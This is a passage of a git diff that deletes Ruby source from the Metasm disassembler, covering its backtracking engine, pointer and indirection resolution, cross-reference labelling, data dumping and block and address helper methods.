|| nargs.delete(:stopaddr) - maxdepth = nargs.delete(:maxdepth) || @backtrace_maxblocks - detached = nargs.delete :detached - max_complexity = nargs.delete(:max_complexity) || @backtrace_maxcomplexity - max_complexity_data = nargs.delete(:max_complexity) || @backtrace_maxcomplexity_data - bt_log = nargs.delete :log # array to receive the ongoing backtrace info - only_upto = nargs.delete :only_upto - no_check = nargs.delete :no_check - terminals = nargs.delete(:terminals) || [] - raise ArgumentError, "invalid argument to backtrace #{nargs.keys.inspect}" if not nargs.empty? - - expr = Expression[expr] - - origexpr = expr if origin == start_addr - - start_addr = normalize(start_addr) - di = @decoded[start_addr] - - if not snapshot_addr and @cpu.backtrace_is_stack_address(expr) -puts " not backtracking stack address #{expr}" if debug_backtrace - return [] - end - - if type == :r or type == :w - max_complexity = max_complexity_data - maxdepth = @backtrace_maxblocks_data if backtrace_maxblocks_data and maxdepth > @backtrace_maxblocks_data - end - - if vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, - di, origin, type, len, maxdepth, detached, snapshot_addr)) - # no need to update backtracked_for - return vals - elsif maxdepth <= 0 - return [Expression::Unknown] - end - - # create initial backtracked_for - if type and origin == start_addr and di - btt = BacktraceTrace.new(expr, origin, origexpr, type, len, maxdepth-1) - btt.address = di.address - btt.exclude_instr = true if not include_start - btt.from_subfuncret = true if from_subfuncret and include_start - btt.detached = true if detached - di.block.backtracked_for |= [btt] - end - - @callback_prebacktrace[] if callback_prebacktrace - - # list of Expression/Integer - result = [] - -puts "backtracking #{type} #{expr} from #{di || Expression[start_addr || 0]} for #{@decoded[origin]}" if debug_backtrace or $DEBUG - bt_log << [:start, expr, start_addr] if bt_log - backtrace_walk(expr, start_addr, include_start, from_subfuncret, snapshot_addr, maxdepth) { |ev, expr_, h| - expr = expr_ - case ev - when :unknown_addr, :maxdepth -puts " backtrace end #{ev} #{expr}" if debug_backtrace - result |= [expr] if not snapshot_addr - @addrs_todo << [expr, (detached ? nil : origin)] if not snapshot_addr and type == :x and origin - when :end - if not expr.kind_of? StoppedExpr - oldexpr = expr - expr = backtrace_emu_blockup(h[:addr], expr) -puts " backtrace up #{Expression[h[:addr]]} #{oldexpr}#{" => #{expr}" if expr != oldexpr}" if debug_backtrace - bt_log << [:up, expr, oldexpr, h[:addr], :end] if bt_log and expr != oldexpr - if expr != oldexpr and not snapshot_addr and vals = (no_check ? - (!need_backtrace(expr, terminals) and [expr]) : - backtrace_check_found(expr, nil, origin, type, len, - maxdepth-h[:loopdetect].length, detached, snapshot_addr)) - result |= vals - next - end - end -puts " backtrace end #{ev} #{expr}" if debug_backtrace - if not snapshot_addr - result |= [expr] - - btt = BacktraceTrace.new(expr, origin, origexpr, type, len, maxdepth-h[:loopdetect].length-1) - btt.detached = true if detached - @decoded[h[:addr]].block.backtracked_for |= [btt] if @decoded[h[:addr]] - @function[h[:addr]].backtracked_for |= [btt] if @function[h[:addr]] and h[:addr] != :default - @addrs_todo << [expr, (detached ? nil : origin)] if type == :x and origin - end - when :stopaddr - if not expr.kind_of? StoppedExpr - oldexpr = expr - expr = backtrace_emu_blockup(h[:addr], expr) -puts " backtrace up #{Expression[h[:addr]]} #{oldexpr}#{" => #{expr}" if expr != oldexpr}" if debug_backtrace - bt_log << [:up, expr, oldexpr, h[:addr], :end] if bt_log and expr != oldexpr - end -puts " backtrace end #{ev} #{expr}" if debug_backtrace - result |= ((expr.kind_of?(StoppedExpr)) ? expr.exprs : [expr]) - when :loop - next false if expr.kind_of? StoppedExpr - t = h[:looptrace] - oldexpr = t[0][0] - next false if expr == oldexpr # unmodifying loop -puts " bt loop at #{Expression[t[0][1]]}: #{oldexpr} => #{expr} (#{t.map { |z| Expression[z[1]] }.join(' <- ')})" if debug_backtrace - false - when :up - next false if only_upto and h[:to] != only_upto - next expr if expr.kind_of? StoppedExpr - oldexpr = expr - expr = backtrace_emu_blockup(h[:from], expr) -puts " backtrace up #{Expression[h[:from]]}->#{Expression[h[:to]]} #{oldexpr}#{" => #{expr}" if expr != oldexpr}" if debug_backtrace - bt_log << [:up, expr, oldexpr, h[:from], h[:to]] if bt_log - - if expr != oldexpr and vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : - backtrace_check_found(expr, @decoded[h[:from]], origin, type, len, - maxdepth-h[:loopdetect].length, detached, snapshot_addr)) - if snapshot_addr - expr = StoppedExpr.new vals - next expr - else - result |= vals - bt_log << [:found, vals, h[:from]] if bt_log - next false - end - end - - if origin and type - # update backtracked_for - update_btf = lambda { |btf, new_btt| - # returns true if btf was modified - if i = btf.index(new_btt) - btf[i] = new_btt if btf[i].maxdepth < new_btt.maxdepth - else - btf << new_btt - end - } - - btt = BacktraceTrace.new(expr, origin, origexpr, type, len, maxdepth-h[:loopdetect].length-1) - btt.detached = true if detached - if x = di_at(h[:from]) - update_btf[x.block.backtracked_for, btt] - end - if x = @function[h[:from]] and h[:from] != :default - update_btf[x.backtracked_for, btt] - end - if x = di_at(h[:to]) - btt = btt.dup - btt.address = x.address - btt.from_subfuncret = true if h[:sfret] == :subfuncret - if backtrace_check_funcret(btt, h[:from], h[:real_to] || h[:to]) -puts " function returns to caller" if debug_backtrace - next false - end - if not update_btf[x.block.backtracked_for, btt] -puts " already backtraced" if debug_backtrace - next false - end - end - end - expr - when :di, :func - next if expr.kind_of? StoppedExpr - if not snapshot_addr and @cpu.backtrace_is_stack_address(expr) -puts " not backtracking stack address #{expr}" if debug_backtrace - next false - end - -oldexpr = expr - case ev - when :di - h[:addr] = h[:di].address - expr = backtrace_emu_instr(h[:di], expr) - bt_log << [ev, expr, oldexpr, h[:di], h[:addr]] if bt_log and expr != oldexpr - when :func - expr = backtrace_emu_subfunc(h[:func], h[:funcaddr], h[:addr], expr, origin, maxdepth-h[:loopdetect].length) - if snapshot_addr and snapshot_addr == h[:funcaddr] - # XXX recursiveness detection needs to be fixed -puts " backtrace: recursive function #{Expression[h[:funcaddr]]}" if debug_backtrace - next false - end - bt_log << [ev, expr, oldexpr, h[:funcaddr], h[:addr]] if bt_log and expr != oldexpr - end -puts " backtrace #{h[:di] || Expression[h[:funcaddr]]} #{oldexpr} => #{expr}" if debug_backtrace and expr != oldexpr - if vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, - h[:di], origin, type, len, maxdepth-h[:loopdetect].length, detached, snapshot_addr)) - if snapshot_addr - expr = StoppedExpr.new vals - else - result |= vals - bt_log << [:found, vals, h[:addr]] if bt_log - next false - end - elsif expr.complexity > max_complexity -puts " backtrace aborting, expr too complex" if debug_backtrace - next false - end - expr - else raise ev.inspect - end - } - -puts ' backtrace result: ' + result.map { |r| Expression[r] }.join(', ') if debug_backtrace - - result - end - - # checks if the BacktraceTrace is a call to a known subfunction - # returns true and updates self.addrs_todo - def backtrace_check_funcret(btt, funcaddr, instraddr) - if di = @decoded[instraddr] and @function[funcaddr] and btt.type == :x and - not btt.from_subfuncret and - @cpu.backtrace_is_function_return(btt.expr, @decoded[btt.origin]) and - retaddr = backtrace_emu_instr(di, btt.expr) and - not need_backtrace(retaddr) -puts " backtrace addrs_todo << #{Expression[retaddr]} from #{di} (funcret)" if debug_backtrace - di.block.add_to_subfuncret normalize(retaddr) - if @decoded[funcaddr].kind_of? DecodedInstruction - # check that all callers :saveip returns (eg recursive call that was resolved - # before we found funcaddr was a function) - @decoded[funcaddr].block.each_from_normal { |fm| - if fdi = di_at(fm) and fdi.opcode.props[:saveip] and not fdi.block.to_subfuncret - backtrace_check_funcret(btt, funcaddr, fm) - end - } - end - if not @function[funcaddr].finalized - # the function is not fully disassembled: arrange for the retaddr to be - # disassembled only after the subfunction is finished - # for that we walk the code from the call, mark each block start, and insert the sfret - # just before the 1st function block address in @addrs_todo (which is pop()ed by dasm_step) - faddrlist = [] - todo = [] - di.block.each_to_normal { |t| todo << normalize(t) } - while a = todo.pop - next if faddrlist.include? a or not get_section_at(a) - faddrlist << a - if @decoded[a].kind_of? DecodedInstruction - @decoded[a].block.each_to_samefunc(self) { |t| todo << normalize(t) } - end - end - - idx = @addrs_todo.index(@addrs_todo.find { |r, i, sfr| faddrlist.include? normalize(r) }) || -1 - @addrs_todo.insert(idx, [retaddr, instraddr, true]) - else - @addrs_todo << [retaddr, instraddr, true] - end - true - end - end - - # applies one decodedinstruction to an expression - def backtrace_emu_instr(di, expr) - @cpu.backtrace_emu(di, expr) - end - - # applies one subfunction to an expression - def backtrace_emu_subfunc(func, funcaddr, calladdr, expr, origin, maxdepth) - bind = func.get_backtrace_binding(self, funcaddr, calladdr, expr, origin, maxdepth) - Expression[expr.bind(bind).reduce] - end - - # applies a location binding - def backtrace_emu_blockup(addr, expr) - (ab = @address_binding[addr]) ? Expression[expr.bind(ab).reduce] : expr - end - - def backtrace_update_function_binding(addr, func=@function[addr], retaddrs=func.return_address) - @cpu.backtrace_update_function_binding(self, addr, func, retaddrs) - end - - # static resolution of indirections - def resolve(expr) - binding = Expression[expr].expr_indirections.inject(@old_prog_binding) { |binding_, ind| - e = get_edata_at(resolve(ind.target)) - return expr if not e - binding_.merge ind => Expression[ e.decode_imm("u#{8*ind.len}".to_sym, @cpu.endianness) ] - } - Expression[expr].bind(binding).reduce - end - - # returns true if the expression needs more backtrace - # it checks for the presence of a symbol (not :unknown), which means it depends on some register value - def need_backtrace(expr, terminals=[]) - return if expr.kind_of? ::Integer - !(expr.externals.grep(::Symbol) - [:unknown] - terminals).empty? - end - - # returns an array of expressions, or nil if expr needs more backtrace - # it needs more backtrace if expr.externals include a Symbol != :unknown (symbol == register value) - # if it need no more backtrace, expr's indirections are recursively resolved - # xrefs are created, and di args are updated (immediate => label) - # if type is :x, addrs_todo is updated, and if di starts a block, expr is checked to see if it may be a subfunction return value - # - # expr indirection are solved by first finding the value of the pointer, and then rebacktracking for write-type access - # detached is true if type is :x and from should not be set in addrs_todo (indirect call flow, eg external function callback) - # if the backtrace ends pre entrypoint, returns the value encoded in the raw binary - # XXX global variable (modified by another function), exported data, multithreaded app.. - # TODO handle memory aliasing (mov ebx, eax ; write [ebx] ; read [eax]) - # TODO trace expr evolution through backtrace, to modify immediates to an expr involving label names - # TODO mov [ptr], imm ; <...> ; jmp [ptr] => rename imm as loc_XX - # eg. mov eax, 42 ; add eax, 4 ; jmp eax => mov eax, some_label-4 - def backtrace_check_found(expr, di, origin, type, len, maxdepth, detached, snapshot_addr=nil) - # only entrypoints or block starts called by a :saveip are checked for being a function - # want to execute [esp] from a block start - if type == :x and di and di == di.block.list.first and @cpu.backtrace_is_function_return(expr, @decoded[origin]) and ( - # which is an entrypoint.. - (not di.block.from_normal and not di.block.from_subfuncret) or - # ..or called from a saveip - (bool = false ; di.block.each_from_normal { |fn| bool = true if @decoded[fn] and @decoded[fn].opcode.props[:saveip] } ; bool)) - - # now we can mark the current address a function start - # the actual return address will be found later (we tell the caller to continue the backtrace) - addr = di.address - l = auto_label_at(addr, 'sub', 'loc', 'xref') - if not f = @function[addr] - f = @function[addr] = DecodedFunction.new - puts "found new function #{l} at #{Expression[addr]}" if $VERBOSE - end - f.finalized = false - - if @decoded[origin] - f.return_address ||= [] - f.return_address |= [origin] - @decoded[origin].add_comment "endsub #{l}" - # TODO add_xref (to update the comment on rename_label) - end - - f.backtracked_for |= @decoded[addr].block.backtracked_for.find_all { |btt| not btt.address } - end - - return if need_backtrace(expr) - if snapshot_addr - return if expr.expr_externals(true).find { |ee| ee.kind_of?(Indirection) } - end - -puts "backtrace #{type} found #{expr} from #{di} orig #{@decoded[origin] || Expression[origin] if origin}" if debug_backtrace - result = backtrace_value(expr, maxdepth) - # keep the ori pointer in the results to emulate volatile memory (eg decompiler prefers this) - #result << expr if not type # XXX returning multiple values for nothing is too confusing, TODO fix decompiler - result.uniq! - - # create xrefs/labels - result.each { |e| - backtrace_found_result(e, di, type, origin, len, detached) - } if type and origin - - result - end - - # returns an array of expressions with Indirections resolved (recursive with backtrace_indirection) - def backtrace_value(expr, maxdepth) - # array of expression with all indirections resolved - result = [Expression[expr.reduce]] - - # solve each indirection sequentially, clone expr for each value (aka cross-product) - result.first.expr_indirections.uniq.each { |i| - next_result = [] - backtrace_indirection(i, maxdepth).each { |rr| - next_result |= result.map { |e| Expression[e.bind(i => rr).reduce] } - } - result = next_result - } - - result.uniq - end - - # returns the array of values pointed by the indirection at its invocation (ind.origin) - # first resolves the pointer using backtrace_value, if it does not point in edata keep the original pointer - # then backtraces from ind.origin until it finds an :w xref origin - # if no :w access is found, returns the value encoded in the raw section data - # TODO handle unaligned (partial?) writes - def backtrace_indirection(ind, maxdepth) - if not ind.origin - puts "backtrace_ind: no origin for #{ind}" if $VERBOSE - return [ind] - end - - ret = [] - - decode_imm = lambda { |addr, len| - edata = get_edata_at(addr) - if edata - Expression[ edata.decode_imm("u#{8*len}".to_sym, @cpu.endianness) ] - else - Expression::Unknown - end - } - - # resolve pointers (they may include Indirections) - backtrace_value(ind.target, maxdepth).each { |ptr| - # find write xrefs to the ptr - refs = [] - each_xref(ptr, :w) { |x| - # XXX should be rebacktracked on new xref - next if not @decoded[x.origin] - refs |= [x.origin] - } if ptr != Expression::Unknown - - if refs.empty? - if get_section_at(ptr) - # static data, newer written : return encoded value - ret |= [decode_imm[ptr, ind.len]] - next - else - # unknown pointer : backtrace the indirection, hope it solves itself - initval = ind - end - else - # wait until we find a write xref, then backtrace the written value - initval = true - end - - # wait until we arrive at an xref'ing instruction, then backtrace the written value - backtrace_walk(initval, ind.origin, true, false, nil, maxdepth-1) { |ev, expr, h| - case ev - when :unknown_addr, :maxdepth, :stopaddr -puts " backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtrace - ret |= [Expression::Unknown] - when :end - if not refs.empty? and (expr == true or not need_backtrace(expr)) - if expr == true - # found a path avoiding the :w xrefs, read the encoded initial value - ret |= [decode_imm[ptr, ind.len]] - else - bd = expr.expr_indirections.inject({}) { |h_, i| h_.update i => decode_imm[i.target, i.len] } - ret |= [Expression[expr.bind(bd).reduce]] - end - else - # unknown pointer, backtrace did not resolve... - ret |= [Expression::Unknown] - end - when :di - di = h[:di] - if expr == true - next true if not refs.include? di.address - # find the expression to backtrace: assume this is the :w xref from this di - writes = get_xrefs_rw(di) - writes = writes.find_all { |x_type, x_ptr, x_len| x_type == :w and x_len == ind.len } - if writes.length != 1 - puts "backtrace_ind: incompatible xrefs to #{ptr} from #{di}" if $DEBUG - ret |= [Expression::Unknown] - next false - end - expr = Indirection.new(writes[0][1], ind.len, di.address) - end - expr = backtrace_emu_instr(di, expr) - # may have new indirections... recall bt_value ? - #if not need_backtrace(expr) - if expr.expr_externals.all? { |e| @prog_binding[e] or @function[normalize(e)] } and expr.expr_indirections.empty? - ret |= backtrace_value(expr, maxdepth-1-h[:loopdetect].length) - false - else - expr - end - when :func - next true if expr == true # XXX - expr = backtrace_emu_subfunc(h[:func], h[:funcaddr], h[:addr], expr, ind.origin, maxdepth-h[:loopdetect].length) - #if not need_backtrace(expr) - if expr.expr_externals.all? { |e| @prog_binding[e] or @function[normalize(e)] } and expr.expr_indirections.empty? - ret |= backtrace_value(expr, maxdepth-1-h[:loopdetect].length) - false - else - expr - end - end - } - } - - ret - end - - # creates xrefs, updates addrs_todo, updates instr args - def backtrace_found_result(expr, di, type, origin, len, detached) - n = normalize(expr) - fallthrough = true if type == :x and o = di_at(origin) and not o.opcode.props[:stopexec] and n == o.block.list.last.next_addr # delay_slot - add_xref(n, Xref.new(type, origin, len)) if origin != :default and origin != Expression::Unknown and not fallthrough - unk = true if n == Expression::Unknown - - add_xref(n, Xref.new(:addr, di.address)) if di and di.address != origin and not unk - base = { nil => 'loc', 1 => 'byte', 2 => 'word', 4 => 'dword', 8 => 'qword' }[len] || 'xref' - base = 'sub' if @function[n] - n = Expression[auto_label_at(n, base, 'xref') || n] if not fallthrough - n = Expression[n] - - # update instr args - # TODO trace expression evolution to allow handling of - # mov eax, 28 ; add eax, 4 ; jmp eax - # => mov eax, (loc_xx-4) - if di and not unk and expr != n # and di.address == origin - @cpu.replace_instr_arg_immediate(di.instruction, expr, n) - end - if @decoded[origin] and not unk - @cpu.backtrace_found_result(self, @decoded[origin], expr, type, len) - end - - # add comment - if type and @decoded[origin] # and not @decoded[origin].instruction.args.include? n - @decoded[origin].add_comment "#{type}#{len}:#{n}" if not fallthrough - end - - # check if target is a string - if di and type == :r and (len == 1 or len == 2) and s = get_section_at(n) - l = s[0].inv_export[s[0].ptr] - case len - when 1; str = s[0].read(32).unpack('C*') - when 2; str = s[0].read(64).unpack('v*') - end - str = str.inject('') { |str_, c| - case c - when 0x20..0x7e, ?\n, ?\r, ?\t; str_ << c - else break str_ - end - } - if str.length >= 4 - di.add_comment "#{'L' if len == 2}#{str.inspect}" - str = 'a_' + str.downcase.delete('^a-z0-9')[0, 12] - if str.length >= 8 and l[0, 5] == 'byte_' - rename_label(l, @program.new_label(str)) - end - end - end - - # XXX all this should be done in backtrace() { <here> } - if type == :x and origin - if detached - o = @decoded[origin] ? origin : di ? di.address : nil # lib function callback have origin == libfuncname, so we must find a block somewhere else - origin = nil - @decoded[o].block.add_to_indirect(normalize(n)) if @decoded[o] and not unk - else - @decoded[origin].block.add_to_normal(normalize(n)) if @decoded[origin] and not unk - end - @addrs_todo << [n, origin] - end - end - - def inspect - "<Metasm::Disassembler @%x>" % object_id - end - - def to_s - a = '' - dump { |l| a << l << "\n" } - a - end - - # dumps the source, optionnally including data - # yields (defaults puts) each line - def dump(dump_data=true, &b) - b ||= lambda { |l| puts l } - @sections.sort_by { |addr, edata| addr.kind_of?(::Integer) ? addr : 0 }.each { |addr, edata| - addr = Expression[addr] if addr.kind_of? ::String - blockoffs = @decoded.values.grep(DecodedInstruction).map { |di| Expression[di.block.address, :-, addr].reduce if di.block_head? }.grep(::Integer).sort.reject { |o| o < 0 or o >= edata.length } - b[@program.dump_section_header(addr, edata)] - if not dump_data and edata.length > 16*1024 and blockoffs.empty? - b["// [#{edata.length} data bytes]"] - next - end - unk_off = 0 # last off displayed - # blocks.sort_by { |b| b.addr }.each { |b| - while unk_off < edata.length - if unk_off == blockoffs.first - blockoffs.shift - di = @decoded[addr+unk_off] - if unk_off != di.block.edata_ptr - b["\n// ------ overlap (#{unk_off-di.block.edata_ptr}) ------"] - elsif di.block.from_normal.kind_of? ::Array - b["\n"] - end - dump_block(di.block, &b) - unk_off += [di.block.bin_length, 1].max - unk_off = blockoffs.first if blockoffs.first and unk_off > blockoffs.first - else - next_off = blockoffs.first || edata.length - if dump_data or next_off - unk_off < 16 - unk_off = dump_data(addr + unk_off, edata, unk_off, &b) - else - b["// [#{next_off - unk_off} data bytes]"] - unk_off = next_off - end - end - end - } - end - - # dumps a block of decoded instructions - def dump_block(block, &b) - b ||= lambda { |l| puts l } - block = @decoded[block].block if @decoded[block] - dump_block_header(block, &b) - block.list.each { |di| b[di.show] } - end - - # shows the xrefs/labels at block start - def dump_block_header(block, &b) - b ||= lambda { |l| puts l } - xr = [] - each_xref(block.address) { |x| - case x.type - when :x; xr << Expression[x.origin] - when :r, :w; xr << "#{x.type}#{x.len}:#{Expression[x.origin]}" - end - } - if not xr.empty? - b["\n// Xrefs: #{xr[0, 8].join(' ')}#{' ...' if xr.length > 8}"] - end - if block.edata.inv_export[block.edata_ptr] and label_alias[block.address] - b["\n"] if xr.empty? - label_alias[block.address].each { |name| b["#{name}:"] } - end - if c = @comment[block.address] - c = c.join("\n") if c.kind_of? ::Array - c.each_line { |l| b["// #{l}"] } - end - end - - # dumps data/labels, honours @xrefs.len if exists - # dumps one line only - # stops on end of edata/@decoded/@xref - # returns the next offset to display - # TODO array-style data access - def dump_data(addr, edata, off, &b) - b ||= lambda { |l| puts l } - if l = edata.inv_export[off] and label_alias[addr] - l_list = label_alias[addr].sort - l = l_list.pop || l - l_list.each { |ll| - b["#{ll}:"] - } - l = (l + ' ').ljust(16) - else l = '' - end - elemlen = 1 # size of each element we dump (db by default) - dumplen = -off % 16 # number of octets to dump - dumplen = 16 if dumplen == 0 - cmt = [] - each_xref(addr) { |x| - dumplen = elemlen = x.len if x.len == 2 or x.len == 4 - cmt << " #{x.type}#{x.len}:#{Expression[x.origin]}" - } - cmt = " ; @#{Expression[addr]}" + cmt.sort[0, 6].join - if r = edata.reloc[off] - dumplen = elemlen = r.type.to_s[1..-1].to_i/8 - end - dataspec = { 1 => 'db ', 2 => 'dw ', 4 => 'dd ', 8 => 'dq ' }[elemlen] - if not dataspec - dataspec = 'db ' - elemlen = 1 - end - l << dataspec - - # dup(?) - if off >= edata.data.length - dups = edata.virtsize - off - @prog_binding.each_value { |a| - tmp = Expression[a, :-, addr].reduce - dups = tmp if tmp.kind_of? ::Integer and tmp > 0 and tmp < dups - } - @xrefs.each_key { |a| - tmp = Expression[a, :-, addr].reduce - dups = tmp if tmp.kind_of? ::Integer and tmp > 0 and tmp < dups - } - dups /= elemlen - dups = 1 if dups < 1 - b[(l + "#{dups} dup(?)").ljust(48) << cmt] - return off + dups*elemlen - end - - vals = [] - edata.ptr = off - dups = dumplen/elemlen - elemsym = "u#{elemlen*8}".to_sym - while edata.ptr < edata.data.length - if vals.length > dups and vals.last != vals.first - # we have a dup(), unread the last element which is different - vals.pop - addr = Expression[addr, :-, elemlen].reduce - edata.ptr -= elemlen - break - end - break if vals.length == dups and vals.uniq.length > 1 - vals << edata.decode_imm(elemsym, @cpu.endianness) - addr += elemlen - if i = (1-elemlen..0).find { |i_| - t = addr + i_ - @xrefs[t] or @decoded[t] or edata.reloc[edata.ptr+i_] or edata.inv_export[edata.ptr+i_] - } - # i < 0 - edata.ptr += i - addr += i - break - end - break if edata.reloc[edata.ptr-elemlen] - end - - # line of repeated value => dup() - if vals.length > 8 and vals.uniq.length == 1 - b[(l << "#{vals.length} dup(#{Expression[vals.first]})").ljust(48) << cmt] - return edata.ptr - end - - # recognize strings - vals = vals.inject([]) { |vals_, value| - if (elemlen == 1 or elemlen == 2) - case value - when 0x20..0x7e, 0x0a, 0x0d - if vals_.last.kind_of? ::String; vals_.last << value ; vals_ - else vals_ << value.chr - end - else vals_ << value - end - else vals_ << value - end - } - - vals.map! { |value| - if value.kind_of? ::String - if value.length > 2 # or value == vals.first or value == vals.last # if there is no xref, don't care - value.inspect - else - value.unpack('C*').map { |c| Expression[c] } - end - else - Expression[value] - end - } - vals.flatten! - - b[(l << vals.join(', ')).ljust(48) << cmt] - - edata.ptr - end - - def decompiler - parse_c '' if not c_parser - @decompiler ||= Decompiler.new(self) - end - def decompiler=(dc) - @decompiler = dc - end - def decompile(*addr) - decompiler.decompile(*addr) - end - def decompile_func(addr) - decompiler.decompile_func(addr) - end - - # allows us to be AutoExe.loaded - def self.autoexe_load(f, &b) - d = load(f, &b) - d.program - end -end -end - -require 'metasm/disassemble_api' diff --git a/lib/metasm/metasm/disassemble_api.rb b/lib/metasm/metasm/disassemble_api.rb deleted file mode 100644 index 416988a806..0000000000 --- a/lib/metasm/metasm/disassemble_api.rb +++ /dev/null @@ -1,1843 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# this file compliments disassemble.rb, adding misc user-friendly methods - -module Metasm -class InstructionBlock - # adds an address to the from_normal/from_subfuncret list - def add_from(addr, type=:normal) - send "add_from_#{type}", addr - end - def add_from_normal(addr) - @from_normal ||= [] - @from_normal |= [addr] - end - def add_from_subfuncret(addr) - @from_subfuncret ||= [] - @from_subfuncret |= [addr] - end - def add_from_indirect(addr) - @from_indirect ||= [] - @from_indirect |= [addr] - end - # iterates over every from address, yields [address, type in [:normal, :subfuncret, :indirect]] - def each_from - each_from_normal { |a| yield a, :normal } - each_from_subfuncret { |a| yield a, :subfuncret } - each_from_indirect { |a| yield a, :indirect } - end - def each_from_normal(&b) - @from_normal.each(&b) if from_normal - end - def each_from_subfuncret(&b) - @from_subfuncret.each(&b) if from_subfuncret - end - def each_from_indirect(&b) - @from_indirect.each(&b) if from_indirect - end - - def add_to(addr, type=:normal) - send "add_to_#{type}", addr - end - def add_to_normal(addr) - @to_normal ||= [] - @to_normal |= [addr] - end - def add_to_subfuncret(addr) - @to_subfuncret ||= [] - @to_subfuncret |= [addr] - end - def add_to_indirect(addr) - @to_indirect ||= [] - @to_indirect |= [addr] - end - def each_to - each_to_normal { |a| yield a, :normal } - each_to_subfuncret { |a| yield a, :subfuncret } - each_to_indirect { |a| yield a, :indirect } - end - def each_to_normal(&b) - @to_normal.each(&b) if to_normal - end - def each_to_subfuncret(&b) - @to_subfuncret.each(&b) if to_subfuncret - end - def each_to_indirect(&b) - @to_indirect.each(&b) if to_indirect - end - - # yields all from that are from the same function - def each_from_samefunc(dasm, &b) - return if dasm.function[address] - @from_subfuncret.each(&b) if from_subfuncret - @from_normal.each(&b) if from_normal - end - - # yields all from that are not in the same subfunction as this block - def each_from_otherfunc(dasm, &b) - @from_normal.each(&b) if from_normal and dasm.function[address] - @from_subfuncret.each(&b) if from_subfuncret and dasm.function[address] - @from_indirect.each(&b) if from_indirect - end - - # yields all to that are in the same subfunction as this block - def each_to_samefunc(dasm) - each_to { |to, type| - next if type != :normal and type != :subfuncret - to = dasm.normalize(to) - yield to if not dasm.function[to] - } - end - - # yields all to that are not in the same subfunction as this block - def each_to_otherfunc(dasm) - each_to { |to, type| - to = dasm.normalize(to) - yield to if type == :indirect or dasm.function[to] or not dasm.decoded[to] - } - end - - # returns the array used in each_from_samefunc - def from_samefunc(dasm) - ary = [] - each_from_samefunc(dasm) { |a| ary << a } - ary - end - def from_otherfunc(dasm) - ary = [] - each_from_otherfunc(dasm) { |a| ary << a } - ary - end - def to_samefunc(dasm) - ary = [] - each_to_samefunc(dasm) { |a| ary << a } - ary - end - def to_otherfunc(dasm) - ary = [] - each_to_otherfunc(dasm) { |a| ary << a } - ary - end -end - -class DecodedInstruction - # checks if this instruction is the first of its IBlock - def block_head? - self == @block.list.first - end -end - -class CPU - # compat alias, for scripts using older version of metasm - def get_backtrace_binding(di) backtrace_binding(di) end -end - -class Disassembler - # access the default value for @@backtrace_maxblocks for newly created Disassemblers - def self.backtrace_maxblocks ; @@backtrace_maxblocks ; end - def self.backtrace_maxblocks=(b) ; @@backtrace_maxblocks = b ; end - - # adds a commentary at the given address - # comments are found in the array @comment: {addr => [list of strings]} - def add_comment(addr, cmt) - @comment[addr] ||= [] - @comment[addr] |= [cmt] - end - - # returns the 1st element of #get_section_at (ie the edata at a given address) or nil - def get_edata_at(*a) - if s = get_section_at(*a) - s[0] - end - end - - # returns the DecodedInstruction at addr if it exists - def di_at(addr) - di = @decoded[addr] || @decoded[normalize(addr)] if addr - di if di.kind_of? DecodedInstruction - end - - # returns the InstructionBlock containing the address at addr - def block_at(addr) - di = di_at(addr) - di.block if di - end - - # returns the DecodedFunction at addr if it exists - def function_at(addr) - f = @function[addr] || @function[normalize(addr)] if addr - f if f.kind_of? DecodedFunction - end - - # returns the DecodedInstruction covering addr - # returns one at starting nearest addr if multiple are available (overlapping instrs) - def di_including(addr) - return if not addr - addr = normalize(addr) - if off = (0...16).find { |o| @decoded[addr-o].kind_of? DecodedInstruction and @decoded[addr-o].bin_length > o } - @decoded[addr-off] - end - end - - # returns the InstructionBlock containing the byte at addr - # returns the one of di_including() on multiple matches (overlapping instrs) - def block_including(addr) - di = di_including(addr) - di.block if di - end - - # returns the DecodedFunction including this byte - # return the one of find_function_start() if multiple are possible (block shared by multiple funcs) - def function_including(addr) - return if not di = di_including(addr) - function_at(find_function_start(di.address)) - end - - # yields every InstructionBlock - # returns the list of IBlocks - def each_instructionblock(&b) - ret = [] - @decoded.each { |addr, di| - next if not di.kind_of? DecodedInstruction or not di.block_head? - ret << di.block - b.call(di.block) if b - } - ret - end - alias instructionblocks each_instructionblock - - # return a backtrace_binding reversed (akin to code emulation) (but not really) - def get_fwdemu_binding(di, pc=nil) - @cpu.get_fwdemu_binding(di, pc) - end - - # reads len raw bytes from the mmaped address space - def read_raw_data(addr, len) - if e = get_section_at(addr) - e[0].read(len) - end - end - - # read an int of arbitrary type (:u8, :i32, ...) - def decode_int(addr, type) - type = "u#{type*8}".to_sym if type.kind_of? Integer - if e = get_section_at(addr) - e[0].decode_imm(type, @cpu.endianness) - end - end - - # read a byte at address addr - def decode_byte(addr) - decode_int(addr, :u8) - end - - # read a dword at address addr - # the dword is cpu-sized (eg 32 or 64bits) - def decode_dword(addr) - decode_int(addr, @cpu.size/8) - end - - # read a zero-terminated string from addr - # if no terminal 0 is found, return nil - def decode_strz(addr, maxsz=4096) - if e = get_section_at(addr) - str = e[0].read(maxsz).to_s - return if not len = str.index(?\0) - str[0, len] - end - end - - # read a zero-terminated wide string from addr - # return nil if no terminal found - def decode_wstrz(addr, maxsz=4096) - if e = get_section_at(addr) - str = e[0].read(maxsz).to_s - return if not len = str.unpack('v*').index(0) - str[0, 2*len] - end - end - - # disassembles one instruction at address - # returns nil if no instruction can be decoded there - # does not update any internal state of the disassembler, nor reuse the @decoded cache - def disassemble_instruction(addr) - if e = get_section_at(addr) - @cpu.decode_instruction(e[0], normalize(addr)) - end - end - - # disassemble addr as if the code flow came from from_addr - def disassemble_from(addr, from_addr) - from_addr = from_addr.address if from_addr.kind_of? DecodedInstruction - from_addr = normalize(from_addr) - if b = block_at(from_addr) - b.add_to_normal(addr) - end - @addrs_todo << [addr, from_addr] - disassemble - end - - # returns the label associated to an addr, or nil if none exist - def get_label_at(addr) - e = get_edata_at(addr, false) - e.inv_export[e.ptr] if e - end - - # sets the label for the specified address - # returns nil if the address is not mapped - # memcheck is passed to get_section_at to validate that the address is mapped - # keep existing label if 'overwrite' is false - def set_label_at(addr, name, memcheck=true, overwrite=true) - addr = 